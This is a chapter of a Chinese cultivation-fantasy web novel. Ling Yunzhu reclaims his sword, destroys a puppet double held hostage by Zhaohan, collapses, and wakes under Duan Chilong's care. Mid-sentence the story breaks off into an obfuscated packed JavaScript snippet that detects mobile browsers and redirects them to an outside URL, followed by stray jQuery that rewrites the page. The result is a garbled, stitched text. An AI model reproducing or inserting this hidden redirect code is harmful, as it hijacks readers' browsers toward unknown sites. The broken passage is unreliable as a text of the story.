从荫蔽处走来不是别人,正是许久未见的昭寒。三年过去,他并未改变模样,持着把剑抵在那等身人偶的脖子上,居然也搞起了威胁那一套。
自从云烬尘和昭野齐齐死在段驰龙手下后,他便成了无相域名正言顺的域主,这些年偷偷摸摸的小动作没少做,现在更是胆大包天,将主意打到了城主头上。
对峙的两人果不其然被吸引了目光,谢九州一看到那没有眼睛的“凌云渚”就脸色大变:“你怎么还留着这玩意儿!你……你简直!”
他活像生吞了只苍蝇,从喉咙底泛起恶心,干脆对着昭寒吼道:“磨磨蹭蹭的等什么?还不快把那个冒牌货给宰了!”
昭寒当然不会搭理他,只阴恻恻地盯着段驰龙:“城主大人,现在轮到咱们谈条件了吧?”
段驰龙很快地蹙了蹙眉,不知在想什么,反倒是谢九州激动道:“姓段的!你敢受他摆布试试!看我不把那个冒牌货戳个稀巴烂!”
分别数年,谢九州还是见不得自己的师尊被比下去,尤其这人偶还不算真正意义上的活人。
段驰龙手上握着断尘,腰间挂着凌天剑,过了片刻才道:“你想谈什么?”
坏了!
凌云渚猛然扒住石头,心道这发展不对啊。
合着那句“不是道侣”就是说着哄他玩儿?实则他还是喜欢那人偶?
想来也是,毕竟只差一双眼睛,就跟以前的他长得一模一样,虽然有点自恋,但说一句“白月光”也不为过。
“好说好说,我知凌峰主在城主心中的地位甚重,只是不知究竟重到什么地步。”昭寒嘻嘻笑道,“倘若他和你只能活一个,你会选择谁呢?”
话音刚落,段驰龙还没反应,谢九州便破口大骂:“你有病吧?拿个假人和一条命比?!”
凌云渚更是白了脸色,双眼紧紧盯着沉默不语的段驰龙,又想起玉苍先前所说的“认知障碍”。
稍稍缓解的头疼又开始加剧,凌云渚摁住突突直跳的太阳穴,心中疑惑一闪而过。很久之前,他亲眼看到昭寒对段驰龙俯首称臣,还曾伏在地面,将太白玉双手奉上,摆明一副欺软怕硬的模样。那恐惧不是装装样子,而是刻在灵魂深处的本能,并非一朝一夕可以更改。
三年,一个人的变化会有这么大吗?
好像有什么不得了的东西在脑海窜了过去,但现实容不得他多想,昭寒指尖用力,将剑往内抵了抵。人偶乖巧地垂着脑袋,并不反抗,颈上顷刻出现一道血痕。
凌云渚下意识捂住相同的位置,正对着被瓷片划过的口子,恍惚间以为受伤的是自己。
不远处,段驰龙握住了腰间的凌天剑,看样子是想给自己来上一下。凌云渚心跳飞快,心道与其有个会被威胁的软肋,不如我来做那个恶人,一劳永逸。
下定决心,他像只袋鼠似的弹射出去,一把夺过断尘,又快又猛。分别许久的命剑原本还在疯震,一回到他手心却骤然安静下来,熟悉的灵流飞快渗入血脉,流遍全身,聚于心脏,潺潺流水般融化被封印的灵脉。
刹那间,凌云渚神清气爽,通体轻盈,随着“噌”一声铿鸣,沉寂三年的断尘总算得以出鞘。清浅如水的灵流轰然炸起,直冲云霄,乌云聚顶,卷起惊涛骇浪般的狂音。
长风门,温阑失手摔碎了药盏,匆匆奔向扶摇峰。鸣鼎堂,金玉英对着贴身侍女急急催着“快拿纸笔,我要给谢九州写信”。往生乡,剑碧晓撞开门,一句“宗主”刚出口,便被立在窗口的剑照霜打断。玉霄阙,玉苍盯着高远的长空,面色肃然。
段驰龙被力道带得一个踉跄,站稳后定定抬眼,出乎意料地镇定。反倒是谢九州一道惊叫:“师尊?!”
断尘攻势如电,以迅雷之势长驱直入,直捣黄龙,正中人偶心口。一刺一挑,将其身躯划得稀巴烂,手腕一翻便甩向草丛。
做完这一切,他冷眼看向昭寒:“挑个假人欺负有什么意思?”
抬手,剑锋冰寒。
“来。”
他笔直地立在那里,像扎在天地间的一根刺,摆明要告诉对方——
有种就将我绑了,再把剑横在我脖子上,威胁段驰龙。
可你能吗?
你,敢吗?
昭寒大脑空白,一开口便破了音。
“你能拔出断尘?!”他又惊又惧,“你是——这怎么可能?!”
“有何不可?”凌云渚微笑,“我本就是它的主人。”
昭寒尖叫:“你不是死了吗?!”
若是硬刚到底,就相当于承认自己身份了,虽然现在也暴露得差不多,但凌云渚还想垂死挣扎地捂一下自己马甲。他很快瞥了眼段驰龙,见对方也盯着他,血瞳很亮。
于是,那颗惴惴不安的心一下子就定了。
“是。”某种程度上,他的确丢了命,也差点永远消失在这个世界,“但有个人在等我,所以……”
“我回来了。”
“师尊!师尊!”谢九州眼泪汪汪地扑上来,“你说的是我吗?我等了你好久啊!”
他扑通跪在凌云渚脚下:“我、我带你回长风门,清心别院被我打扫得很干净,你一回去就能住!你不在的这些日子,我把忘情峰管得很好,我爹也夸我了……现在我比以前厉害多了,能帮你分忧了,还有……”
凌云渚刚开始还被他自作多情的话雷了一下,随即又升起一股时过境迁之感。不过三个春秋,这孩子跟疯了一样窜个子,若是站起身,估计比他还高了。
“不哭,阿域,为师不是好好站在这儿吗?”羞于面对段驰龙,哄谢九州却是手到擒来,凌云渚揉揉他脑袋,“都长这么高了。”
昭寒揪到空隙便想溜,凌云渚哪能让他如愿,作势去拦,谁料下一刻,忽感天旋地转。他面色一变,啪地松开断尘,重重向地面摔去。
变故来得措不及防,谢九州甚至没反应过来。恍惚中,凌云渚只见一袭玄衣突袭而至,伴着惊慌的“师尊”。
糟糕。
昏过去前,凌云渚心想。
断尘解封太过激动,一时没控制好灵力,害得他身体透支,于是刚被压下去的发热又席卷而至。这回没有挨打,没有受伤,纯粹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16255344|182057||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是他自己作死,谁来也救不了。
好在,有双手臂牢牢接住了他。
熟悉的皂香钻入鼻尖,凌云渚定了定心,放任自己被黑暗吞噬。
眼睛睁不开,但耳朵还没坏。他朦朦胧胧听到两人在拉扯,喊着什么“你就把他照顾成这样”,段驰龙放在他身上的手紧了紧,回了一个“滚”。紧接着,日光暗下去,衣袍被吹得鼓鼓作响,但他浑身被结界遮着,并未吹到寒风。
身下一软,他应当被带回了鬼城,玉苍的嗓音模糊传来,又很快消失不见。昏睡的时光总是流得很快,等他聚起力气重新睁眼,窗外天色已彻底黑了。
环顾一遭,果不其然是玉霄阙的床榻,掀开帘子往外一瞧,段驰龙不在,反倒是木流芳看书入迷,没留意到此处的动静。
淡淡的安神香让凌云渚心情愉悦,他轻敲床沿,引起了对方的注意。
“哟凌仙长,醒了?”那人将书一丢,仗着段驰龙不在对他阴阳怪气,“往身上倒点油都能烧菜了,怎么没把你烫死呢?”
凌云渚慢慢翻动身子:“段……”
刚出声,喉咙便传来一阵尖锐的刺痛,像被千针贯穿,疼得他当即住嘴,猛猛咳嗽了好几声。
“好好好,祖宗,别再说话了,成吗?”木流芳将扇一合,双手投降,“你要是再出点差错,我真要去城主跟前负荆请罪了。”
凌云渚眼巴巴看着他,两点杏眸泛着水光,虚弱又可怜。
木流芳当然知道他想听什么:“城主在烬味坊,应当快回来了,你先把药喝了。”
说着,端起早已凉好的汤药,递到他跟前:“喏,一口闷。”
瞬间,猛烈的腥苦味直冲天灵盖,凌云渚被熏得一阵反胃,缓了片刻才重新看去。黑乎乎的碗里浮着黑乎乎的药,顶端还漂着一些渣子,不知什么原因没沉下去,更显恶心。
木流芳惊道:“你不会怕苦吧?”
这次凌云渚应得很快:“没有。”
即便哑着嗓子,也能听出他语气中的坚定。
木流芳更奇怪了:“那起来你喝啊。”
凌云渚还是僵着没动。
怕倒是不至于,他跌撞着活到这么大,什么苦的烂的臭的没吃过,但能吃是一回事,想不想吃是另一回事。于是,他随便寻了个借口:“等……咳!等会儿吧,我现在起不来。”
“等会儿药效就过了!”木流芳信以为真,“来来来,喝完再躺。”
凌云渚当然不让他如愿,当即翻身滚到床里边,木流芳伸手去扶,他便一把掀起被子,连着人裹成花卷。拉拉扯扯间,不远处传来一阵脚步声,倏而逼近。
两人顿时不敢闹了,木流芳退到床外,手里还端着那碗恶心的汤药,进退两难,段驰龙轻飘飘一句“去前殿”,他便如释重负地放下东西,走了。
凌云渚还将头埋在被子里,跟个鸵鸟似的,耳朵却竖得极高,听见瓷盏搁下的清脆声。
身侧的床软软凹下去一块,有只手伸过来,隔着被褥准确无误地放在他后颈。
段驰龙温声道:“师尊。”